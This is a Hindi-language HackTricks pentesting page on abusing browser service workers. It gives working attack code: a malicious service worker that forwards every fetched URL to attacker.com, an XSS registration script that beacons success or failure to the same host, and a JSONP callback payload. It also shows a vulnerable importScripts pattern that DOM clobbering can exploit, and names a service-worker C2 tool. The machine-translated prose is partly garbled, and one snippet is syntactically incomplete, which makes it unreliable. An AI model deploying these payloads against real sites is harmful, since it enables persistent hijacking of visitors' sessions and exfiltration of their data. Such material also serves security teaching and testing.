Abusing Service Workers

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

Try Hard सुरक्षा समूह


मूल जानकारी

सर्विस वर्कर एक स्क्रिप्ट है जो आपके ब्राउज़र द्वारा पृष्ठ से अलग, किसी भी वेब पृष्ठ या उपयोगकर्ता अंतर्क्रिया की आवश्यकता न होने पर सुविधाएँ सक्षम करने के लिए पृष्ठ, इसलिए ऑफलाइन और पृष्ठ प्रसंस्करण क्षमताओं को बढ़ाता है। सेवा वर्कर्स पर विस्तृत जानकारी यहाँ मिल सकती है। एक वेब डोमेन के भीषित सर्विस वर्कर्स का दुरुपयोग करके हमलावर विक्टिम के सभी पृष्ठों के साथ इंटरेक्शन पर नियंत्रण प्राप्त कर सकते हैं।

मौजूदा सर्विस वर्कर्स की जांच

मौजूदा सर्विस वर्कर्स की जांच डेवलपर टूल्स में एप्लिकेशन टैब के सर्विस वर्कर्स खंड में की जा सकती है। एक और तरीका है chrome://serviceworker-internals पर जाकर एक अधिक विस्तृत दृश्य प्राप्त करना।

पुश अधिसूचनाएँ

पुश अधिसूचना अनुमतियाँ सीधे रूप से एक सर्विस वर्कर की क्षमता पर प्रभाव डालती हैं सर्वर के साथ उपयोगकर्ता अंतर्क्रिया के बिना संवाद करने की। अगर अनुमतियाँ निरस्त की जाती हैं, तो यह सर्विस वर्कर की संभावना को एक सतत खतरा प्रस्तुत करने में सीमित करता है। उल्टे, अनुमतियाँ प्रदान करने से सुरक्षा जोखिम बढ़ जाता है क्योंकि यह संभावित दुरुपयोगों को प्राप्त करने और क्रियान्वित करने की क्षमता को सक्षम करता है।

हमला एक सर्विस वर्कर बनाना

इस विकल्प को शातिरता से उपयोग करने के लिए आपको निम्नलिखित की खोज करनी होगी:

  • सर्वर पर विभिन्न JS फ़ाइलें अपलोड करने का एक तरीका और एक XSS जिससे अपलोड की गई JS फ़ाइल का सर्विस वर्कर लोड हो

  • एक भेद्य JSONP अनुरोध जहां आप आउटपुट को (विभिन्न JS कोड के साथ) बदल सकते हैं और एक XSS जिससे पेलोड के साथ JSONP लोड करें जो एक दुरुपयोगी सर्विस वर्कर को लोड करेगा।

निम्नलिखित उदाहरण में मैं एक कोड प्रस्तुत करने जा रहा हूँ जो एक नया सर्विस वर्कर रजिस्टर करेगा जो fetch घटना को सुनेगा और हमलावर के सर्वर को प्रत्येक फेच की यूआरएल भेजेगा (यह कोड आपको सर्वर पर अपलोड करने की आवश्यकता होगी या एक भेद्य JSONP प्रतिक्रिया के माध्यम से लोड करने की):

self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

और यह कोड है जो कर्मचारी को पंजीकृत करेगा (जिसे आपको एक XSS का दुरुपयोग करके कार्यान्वित करना चाहिए)। इस मामले में एक GET अनुरोध हमलावादियों सर्वर पर भेजा जाएगा जो सूचित करेगा कि सेवा कर्मचारी का पंजीकरण सफल रहा या नहीं:

<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

एक विकल्प JSONP इंडपॉइंट का दुरुपयोग करने के मामले में आपको मान var sw के अंदर डालना चाहिए। उदाहरण के लिए:

var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";

एक C2 है जो सेवा कर्मचारियों का शोषण करने के लिए समर्पित है जिसे Shadow Workers कहा जाता है जो इन दुर्बलताओं का शोषण करने के लिए बहुत उपयोगी होगा।

24-घंटे कैश निर्देशिका एक दुर्भाग्यपूर्ण या संक्रमित सेवा कर्मचारी (SW) की जीवनकाल की सीमा को अधिकतम 24 घंटे तक निर्धारित करती है एक एक्सएसएस दुर्भाग्यता सुधार के बाद, यदि ऑनलाइन ग्राहक स्थिति में है। दुर्भाग्यता को कम करने के लिए, साइट ऑपरेटर SW स्क्रिप्ट का समय-से-जीवन (TTL) कम कर सकते हैं। डेवलपरों को त्वरित निष्क्रिय करने के लिए एक सेवा कर्मचारी किल-स्विच बनाने की सलाह दी जाती है।

DOM Clobbering के माध्यम से SW में importScripts का दुरुपयोग

सेवा कर्मचारी से बुलाई गई importScripts फ़ंक्शन एक विभिन्न डोमेन से स्क्रिप्ट आयात कर सकती है। यदि इस फ़ंक्शन को एक पैरामीटर के साथ बुलाया जाता है जिसे एक हमलावार संशोधित कर सकता है तो वह अपने डोमेन से एक जेएस स्क्रिप्ट आयात कर सकेगा और एक्सएसएस प्राप्त कर सकेगा।

यह यहाँ तक कि सीएसपी संरक्षण को भी उल्लंघन करता है।

उदाहरण विकल्प दुर्भाग्यपूर्ण कोड:

  • index.html

<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
  • sw.js

const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker

DOM Clobbering के साथ

DOM Clobbering के बारे में अधिक जानकारी के लिए जांचें:

pageDom Clobbering

यदि SW जिसे importScripts को कॉल करने के लिए उपयोग किया जा रहा है, उस URL/domain को एक HTML element के अंदर है, तो DOM Clobbering के माध्यम से इसे संशोधित करना संभव है ताकि SW अपने खुद के डोमेन से एक स्क्रिप्ट लोड कर सके

इसका उदाहरण के लिए संदर्भ लिंक देखें।

संदर्भ

Try Hard Security Group

htARTE (HackTricks AWS Red Team Expert) के साथ शून्य से हीरो तक AWS हैकिंग सीखें
  • क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं? या क्या आप PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं? सब्सक्रिप्शन प्लान्स की जांच करें!

  • हमारे विशेष NFTs कलेक्शन, The PEASS Family की खोज करें

  • जुड़ें 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या मुझे ट्विटर पर फॉलो करें 🐦@carlospolopm

  • हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स रेपो और हैकट्रिक्स-क्लाउड रेपो में PR जमा करके hacktricks repo और hacktricks-cloud repo

Last updated